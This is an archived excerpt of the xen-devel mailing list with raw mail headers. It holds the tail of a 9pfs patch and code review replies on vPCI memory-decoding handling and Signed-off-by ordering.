 
-static void xen_9pfs_init_out_iov_from_pdu(V9fsPDU *pdu,
-                                           struct iovec **piov,
-                                           unsigned int *pniov,
-                                           size_t size)
+static void coroutine_fn xen_9pfs_init_out_iov_from_pdu(V9fsPDU *pdu,
+                                                        struct iovec **piov,
+                                                        unsigned int *pniov,
+                                                        size_t size)
 {
     Xen9pfsDev *xen_9pfs = container_of(pdu->s, Xen9pfsDev, state);
     Xen9pfsRing *ring = &xen_9pfs->rings[pdu->tag % xen_9pfs->num_rings];
@@ -202,10 +202,10 @@ static void xen_9pfs_init_out_iov_from_pdu(V9fsPDU *pdu,
     *pniov = num;
 }
 
-static void xen_9pfs_init_in_iov_from_pdu(V9fsPDU *pdu,
-                                          struct iovec **piov,
-                                          unsigned int *pniov,
-                                          size_t size)
+static void coroutine_fn xen_9pfs_init_in_iov_from_pdu(V9fsPDU *pdu,
+                                                       struct iovec **piov,
+                                                       unsigned int *pniov,
+                                                       size_t size)
 {
     Xen9pfsDev *xen_9pfs = container_of(pdu->s, Xen9pfsDev, state);
     Xen9pfsRing *ring = &xen_9pfs->rings[pdu->tag % xen_9pfs->num_rings];
@@ -234,7 +234,7 @@ again:
     *pniov = num;
 }
 
-static void xen_9pfs_push_and_notify(V9fsPDU *pdu)
+static void coroutine_fn xen_9pfs_push_and_notify(V9fsPDU *pdu)
 {
     RING_IDX prod;
     Xen9pfsDev *priv = container_of(pdu->s, Xen9pfsDev, state);

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 12:01:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 12:01:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371636.1619117 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woK0v-0001io-63; Mon, 27 Jul 2026 12:00:57 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371636.1619117; Mon, 27 Jul 2026 12:00:57 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woK0v-0001ih-3S; Mon, 27 Jul 2026 12:00:57 +0000
Received: by outflank-mailman (input) for mailman id 1371636;
 Mon, 27 Jul 2026 12:00:56 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woK0t-0001iV-Ug
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 12:00:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woK0t-007vAI-2T
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 14:00:55 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a674875-e002-0a2a0a5209dd-0a2a4509d568-6
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 14:00:54 +0200
Received: from [209.85.221.43] (helo=mail-wr1-f43.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a674876-be1a-0a2a45090019-d155dd2bd92b-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 14:00:54 +0200
Received: by mail-wr1-f43.google.com with SMTP id
 ffacd0b85a97d-47f71156e1aso1160301f8f.3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 05:00:54 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4957bfe07e1sm229802885e9.3.2026.07.27.05.00.53
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 27 Jul 2026 05:00:53 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785153654; x=1785758454; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=Ay4E3J2TPozCmi47FWW7WBqpfGdfi6JsR37XYggDNR8=;
        b=PIyjEeIpqZn6EZuQx/Og+1bkUGzIcZQEth52gcI/gap7QNc6QnoXAa4JeFEvp+CBGh
         Il4/MTGeZojwdOk9kFLJieGkV390CqkvgBgXNfZLpUzXs0FXAOJAT9E9uG6mfnjfo1ZF
         SQ9yBPmt75bhSyv7itNZynnM6AVpKvTTGkXU7Ce2H0PpDTjR9z7aG/QyKcpcL6497PvE
         mxDdSXsswS7avL09dQD9CTLbNP9BnIGmj6cEsf3dv2Qv4BG3ge7dO21M0MmPCm77Ceci
         A3FE7T/UgmfDp7PTSFo5TNIWRAW/dIryiI0vMuLg9/4eu0aO9jLMOZDBkjbBoVykVGqC
         msuw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785153654; x=1785758454;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=Ay4E3J2TPozCmi47FWW7WBqpfGdfi6JsR37XYggDNR8=;
        b=AIJHGoFxxDYOKDiiitxSnphIqXIZx46Tn0Ob5DNHSXcEuSILmUwiIBx4vilKOtLdza
         q4GgkUa2+5v8N3beCBBTLCSmRcEB4R9X7OU2TeMr31RwHiQoxJY8v8mWIpCspzo5delZ
         Yox8arL4JHhqBWTcx2xYfnv7H8ZUNulK4PXWI9TkJablIY1Xt7wtuh0z7cqULKLW4o4J
         aViUae91uklY3TmBP3qzv/S5RlaGk0vOPLKOPUe1qWG/loyQGd1h/bp+rIa+FVrCFSTZ
         9NmhaejRYhYCGiqFZLCEIEAve4EDmpDH8SJmqpK67I4MkE4EaXNkxXTJxSIorekcppmG
         xK0g==
X-Forwarded-Encrypted: i=1; AHgh+RpSDMZx69FC3U19vi+J3vVvTxvU0aaUGd1rPbxotxbaIVdCAHWcPWN6kNjUW+c/HCSfjy2TCO1NoXI=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yyi75MW1yNbExoZmUucuX5xut9Ob6C4wCxu1h9wZAx6JdiSAnu/
	dq5nt/FL6+4rZVL86jWwBG07Jmqun+/JNXQ4qzgGuOFKpD1CWaLgh2pY8i7+PLIPpg==
X-Gm-Gg: AR+sD10jynrTaj1q2V/sjky4OXDQn5PdsnduImO5SvZKILeooscr/2d0txsG5Xt9glP
	WtPABw810msckvyMuybAAB3ORhwwXkFrntLuXGPe5N5iP0uMIDh7v3tl2ThGOvPGuvey4ewNC/P
	vcuWSLz3wcAsyFzk/JuW8IyEm3AlVAYLDJ1t7gDVxkLxfsa0abnM6ukVB7ncNiqQsSAOC5iHQs4
	oR3ZZ4oLf/F8R0+FSbIY4ByMACU7523zNfY2QIgNj2jxHck2ZbAZiokSjabff10fN3e9yYypZ0B
	5sivT+i4RAa2tog16mnjFH2wfaqRnEm6qrCAaMMupCNRRjE0x/DhOG/z5uktirojRzxjHeYI35d
	bmAQtq7qa8oQbUdqOJvExBwz0va61CnslIon9CuVowaM6T/v8YsLVBfbWIKLgwX6wZWg7J6gqri
	J1rWL3X9RPB+jPKg0qAr8swUwrq3rwDjg2pq2y5Ko6o087KH6YFNKboAoDnqqjUmgIYw==
X-Received: by 2002:a05:600c:3113:b0:495:39aa:1359 with SMTP id 5b1f17b1804b1-496b570fb1bmr92262275e9.3.1785153654237;
        Mon, 27 Jul 2026 05:00:54 -0700 (PDT)
Message-ID: <1f62781b-7312-4360-ab02-b5b65c9ff407@suse.com>
Date: Mon, 27 Jul 2026 14:00:53 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 5/9] vpci: simplify handling of memory decoding and ROM
 enable writes
To: Stewart Hildebrand <stewart.hildebrand@amd.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 xen-devel@lists.xenproject.org
References: <20260708210233.922275-1-stewart.hildebrand@amd.com>
 <20260708210233.922275-6-stewart.hildebrand@amd.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0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HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260708210233.922275-6-stewart.hildebrand@amd.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-bad1c0/1785153654-BD0CD034-F5CC3FD1/0/0
X-purgate-type: clean
X-purgate-size: 4175

On 08.07.2026 23:02, Stewart Hildebrand wrote:
> From: Roger Pau Monne <roger.pau@citrix.com>
> 
> Deferring the actual write of the PCI register bit, either the memory
> decoding or the ROM enable is not helpful, and adds an unnecessary amount of
> complexity to the preemptible handling of BAR related p2m modifications.
> 
> In the hardware domain case, whether the PCI register write is done ahead
> or after the p2m changes doesn't matter, a hardware domain has plenty of
> ways to mess with the PCI register state if it wants to.  Any poking at the
> BAR p2m regions ahead of the guest write having completed will be
> undefined.
> 
> On the other hand, for domUs the memory decoding bit shouldn't really
> change as a result of guest actions, and should always be enabled.  Guest
> toggling the memory decoding command register should only result in p2m
> modifications, but no propagation to the device PCI registers.  Having
> memory decoding unconditionally enabled ensures the domU attempting to
> perform p2m accesses while the p2m changes are taking place will always
> access the BAR contents.

I'm not quite following in particular this last aspect: Doing the P2M change
isn't atomic. How will it be possible, in principle, to guarantee accesses
will always access BAR contents (perhaps really: the contents of what BARs
point at)?

> @@ -534,22 +487,29 @@ static void cf_check cmd_write(
>       * decoding one. Bits that are not allowed for DomU are already
>       * handled above and by the rsvdp_mask.
>       */
> -    if ( header->bars_mapped != new_enabled )
> +    if ( header->bars_mapped != new_enabled &&
> +         modify_bars(pdev, cmd, false) )
>          /*
>           * Ignore the error. No memory has been added or removed from the p2m
>           * (because the actual p2m changes are deferred in defer_map) and the
>           * memory decoding bit has not been changed, so leave everything as-is,
>           * hoping the guest will realize and try again.
>           */
> -        modify_bars(pdev, cmd, false);
> -    else
> -        pci_conf_write16(pdev->sbdf, reg, cmd);
> +        return;
>  
>  #ifdef CONFIG_HAS_PCI_MSI
>      /* Unpopulate MSI-X table region, so accesses trap into Xen. */
>      if ( !header->bars_mapped && new_enabled && vpci_make_msix_hole(pdev) )
>          return;
>  #endif
> +
> +    /*
> +     * FIXME: for domUs we don't want the guest toggling the memory decoding
> +     * bit.  It should be set in vpci_init_header() and guest attempts to
> +     * modify it should only lead to guest p2m changes.
> +     */
> +    header->bars_mapped = new_enabled;
> +    pci_conf_write16(pdev->sbdf, reg, cmd);
>  }

First, to avoid any ambiguity, "the memory decoding bit" wants clarifying that
it's the physical bit which is meant. The virtual one we really should leave
for the guest to play with as it sees fit.

Then, disallowing the turning off of memory decoding may be problematic. I
have a vague recollection that dealing with certain quirks may require doing
so. Plus why would we force decoding to be on when it's not needed by the
domain driving the device? I'm saying this not the least because in principle
memory and I/O decoding bits should be treated equally. Yet especially on
platforms without the concept of I/O ports disallowing the turning off of that
bit would feel pretty irritating.

> @@ -927,6 +884,13 @@ int vpci_init_header(struct pci_dev *pdev)
>              goto fail;
>      }
>  
> +    if ( cmd & PCI_COMMAND_MEMORY )

Fold this condition with ...

> +    {
> +        /* Restore command register value. */
> +        header->bars_mapped = true;
> +        pci_conf_write16(pdev->sbdf, PCI_COMMAND, cmd);
> +    }
> +
>      return (cmd & PCI_COMMAND_MEMORY) ? modify_bars(pdev, cmd, false) : 0;

... the pre-existing one here (perhaps by inverting and having a simply
"return 0" there)? Then modify_bars() could also be called before restoring
the command register, at which point it almost looks as if you could then
drop the justification for re-ordering the two operations.

Jan


From xen-devel-bounces@lists.xenproject.org Mon Jul 27 12:13:19 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 12:13:19 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371645.1619127 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woKCn-0003f3-7O; Mon, 27 Jul 2026 12:13:13 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371645.1619127; Mon, 27 Jul 2026 12:13:13 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woKCn-0003ew-3j; Mon, 27 Jul 2026 12:13:13 +0000
Received: by outflank-mailman (input) for mailman id 1371645;
 Mon, 27 Jul 2026 12:13:11 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woKCl-0003eq-Fn
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 12:13:11 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woKCk-003gUR-Dy
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 14:13:10 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a674b48-2eae-0a2a0a5409dd-0a2a450b8154-38
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 14:13:10 +0200
Received: from [209.85.128.53] (helo=mail-wm1-f53.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a674b56-b7e8-0a2a450b0019-d1558035d17c-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 14:13:10 +0200
Received: by mail-wm1-f53.google.com with SMTP id
 5b1f17b1804b1-4955158f26aso16969275e9.3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 05:13:10 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4957bfd1a60sm232393315e9.2.2026.07.27.05.13.09
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 27 Jul 2026 05:13:09 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785154390; x=1785759190; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=OvbafVmBAOD4G/3HqlBa2OMetCsCIoid95w/exmuzDo=;
        b=IW79x4QqVedygHBFDbeD4XcvtL9ndWjA/c4Z5NIsrl8yFULujNB7myeFEEtytbnigx
         RcyGt0FIMxgtbYKjL3gDVfHNL1s5LL3EukH25V2lTQPOlVRQUhfCf3Cvk/8O0Cs1ZpVv
         ZBTVWHE1E9ULtfyDB7eVAE6+1734J4I5ac2OxEnqI8GonHD9srGXtUqENgTgPKQJHA+2
         QDPWsp4KwvvFgsaVUeFAQ+YtvtFSGC6R1VWIPKIeR1/w85Rq4PlkmIrQ7PPIWxAvb261
         4gefvkyOaELUgcP7QP7lJJdJxMeZ/+hXhB1SxykH1G4AUpdgt76HciaYBaTlCU5vhErN
         knUQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785154390; x=1785759190;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=OvbafVmBAOD4G/3HqlBa2OMetCsCIoid95w/exmuzDo=;
        b=BHZHhQkc1NXy5fx0ZlGAGaNKRmMqu8LVzEExo7KM+FArDuAIGzO0W8eXUIwtC4QDnK
         WezicaSa6APDPgYhCa5aLIJO1shUbVmD8B/0Z7L4WYaCGBp8x/JZmfGH6N2V8jkaC4U9
         Erf5IQa296kzMQZHNo3QNnDS0VIgrZasieFV27nB4XgNLW5qm5nBc8uk0oE7Bqw/IGes
         tzzmhcBFlV70HCWKw9sT7kTbNruCJ8AxCGeUudLGa5OH/kN7rIUAjBkkHEYVEREuFt5i
         QGWMKX5OPnuVamBmwy/lvDUZAU3o/Vx1th5cMKAsXfTXdD0S7dEIWUSUUda+IkbI56Dj
         NeYA==
X-Forwarded-Encrypted: i=1; AHgh+Rp4i7MFH5pC4o8rM4XXNmERUQWM39NxKDPas2sEe/AStHyPqxEvtsECcJsW05ayPkzW7Ycntv8IxLc=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yw4+LQ3DBzxJOtmv1dJj8+D0SeMDBxc7cM6ilzm8Ba8dgzRAENw
	p/glBS/1Ikx6dOip0zp2KFr8rbfm8HxcKmuKDezJ6D/FY6/2jtxJeZPguhXemDk5ZQ==
X-Gm-Gg: AR+sD12vSUd+0Q3+uLm3WmGK7wd/3uG/JFpq5K0tnL9ApLOcYGribsf9eBR1/QZhurh
	eQfLyOoMTDTkL2zNqwAF9Zdc5wNGAYpT4VNViTE1spxkz9nKKtjAnnhHem0Pq05x88J1KRk80fb
	76NLJ8abRjOPnYykMS3Yx60hxhVIgpogi0nneoV6c3Nn5oiyQCm34rRyW7WfRd1a/OGJV9aRFNa
	n+jscSVdN6IvKPa1rNfavZrb41yIgqT1cOeG2QJWfB8+s43nUJXV/mIUbS+NcaEa7l2MXoFPyVA
	gL18GUCDOc7lntnfnxsl+qtNZWJ6aEXh/TV8xuc0hBwZyL87OM7kLhxTjGLPiJ1lBXFcjo7Xn55
	EWzbjsJlW1E+uRi3KvgLqJ/50m0XxeXY7z3L92SrOF8GKcEGTYgmC2vZg7AnzOhiRaaS2QuO9rZ
	nYMuFYKc6loUUKpQKk6zauJng9BtuEUwl66D2yhlEDhzEN5egZYOkSCqCuQeHSThMq3kHsIHX42
	9iU
X-Received: by 2002:a05:600c:210c:b0:495:4a27:483f with SMTP id 5b1f17b1804b1-496b5700419mr67328755e9.29.1785154389652;
        Mon, 27 Jul 2026 05:13:09 -0700 (PDT)
Message-ID: <06a539f0-a15d-44da-8b3b-f49720669adb@suse.com>
Date: Mon, 27 Jul 2026 14:13:08 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 6/9] vpci: create mem local variables
To: Stewart Hildebrand <stewart.hildebrand@amd.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Mykyta Poturai <mykyta_poturai@epam.com>, xen-devel@lists.xenproject.org
References: <20260708210233.922275-1-stewart.hildebrand@amd.com>
 <20260708210233.922275-7-stewart.hildebrand@amd.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260708210233.922275-7-stewart.hildebrand@amd.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1785154390-AA0C59EA-204FC795/0/0
X-purgate-type: clean
X-purgate-size: 885

On 08.07.2026 23:02, Stewart Hildebrand wrote:
> Use local variables to reference struct rangeset *mem in preparation of
> moving it out of struct vpci. No functional change.
> 
> Signed-off-by: Stewart Hildebrand <stewart.hildebrand@amd.com>
> Signed-off-by: Mykyta Poturai <mykyta_poturai@epam.com>
> ---
> v4->v5:
> * Patch adapted from [1] ("vpci: Use pervcpu ranges for BAR mapping").
>   I kept Mykyta's S-o-b tag since many of the changes are similar.

I think can see your intention, but I think there's a formal issue with
this: The original author's S-o-b wants to be first. That may plausibly
be you here. The submitter's S-o-b wants to be last, though, as the
change last went through their hands. In the case here this may mean
two S-o-b of yours, or yet some different arrangement - all depending on
what changes were done by whom in which order.

Jan


From xen-devel-bounces@lists.xenproject.org Mon Jul 27 12:23:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 12:23:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371653.1619136 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woKMi-0005Xl-2v; Mon, 27 Jul 2026 12:23:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371653.1619136; Mon, 27 Jul 2026 12:23:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woKMi-0005Xe-0K; Mon, 27 Jul 2026 12:23:28 +0000
Received: by outflank-mailman (input) for mailman id 1371653;
 Mon, 27 Jul 2026 12:23:26 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woKMg-0005XU-67
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 12:23:26 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woKMe-0080Fr-Sd
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 14:23:24 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a674dbc-2eae-0a2a0a5409dd-0a2a4506e0e2-0
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 14:23:24 +0200
Received: from [209.85.221.54] (helo=mail-wr1-f54.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a674dbc-195a-0a2a45060019-d155dd36a9dd-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 14:23:24 +0200
Received: by mail-wr1-f54.google.com with SMTP id
 ffacd0b85a97d-4720f3bf164so2136095f8f.1
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 05:23:24 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85c67339sm50945133f8f.31.2026.07.27.05.23.23
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 27 Jul 2026 05:23:23 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
